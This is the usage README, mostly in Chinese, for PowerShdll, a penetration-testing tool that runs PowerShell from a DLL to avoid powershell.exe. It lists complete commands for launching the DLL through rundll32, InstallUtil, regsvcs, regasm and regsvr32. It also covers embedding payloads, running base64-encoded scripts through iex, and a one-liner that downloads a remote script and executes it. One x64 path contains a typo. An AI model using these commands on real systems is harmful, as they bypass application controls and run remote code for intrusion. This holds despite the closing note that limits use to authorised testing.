仅使用dll运行PowerShell。
无需访问powershell.exe,因为它使用PowerShell自动化dll。
PowerShdll可通过rundll32.exe、installutil.exe、regsvcs.exe、regasm.exe、regsvr32.exe或以独立可执行文件运行。
Usage:
rundll32 PowerShdll,main <script>
rundll32 PowerShdll,main -h Display this message
rundll32 PowerShdll,main -f <path> Run the script passed as argument
rundll32 PowerShdll,main -w Start an interactive console in a new window (Default)
rundll32 PowerShdll,main -i Start an interactive console in this console
If you do not have an interractive console, use -n to avoid crashes on output
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShdll.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShdll.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShdll.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShdll.dll
4.
regsvr32 /s /u PowerShdll.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShdll.dll --> Calls DllRegisterServer
Usage:
PowerShdll.exe <script>
PowerShdll.exe -h Display this message
PowerShdll.exe -f <path> Run the script passed as argument
PowerShdll.exe -i Start an interactive console in this console (Default)
可通过修改common.cs文件中start方法内的"payload"变量来嵌入载荷。如果嵌入了载荷,所有其他参数将被忽略,并在运行PowerShdll时执行载荷。
rundll32 Powershdll.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
注意:Empire stagers需要使用[System.Text.Encoding]::Unicode解码
rundll32 PowerShdll.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
某些错误似乎不会在输出中显示。这可能会造成困惑,例如Import-Module等命令在失败时不会输出错误信息。 请确保命令输入正确。
在dll模式下,交互模式和命令输出依赖于劫持父进程的控制台。如果父进程没有控制台,请使用-n开关以不显示输出,否则应用程序会崩溃。
由于Rundll32处理参数的方式,在开关和参数之间使用多个空格字符可能会导致问题。脚本内部的多余空格没有问题。
本项目面向安全研究人员和渗透测试人员,仅应在系统所有者批准的情况下使用。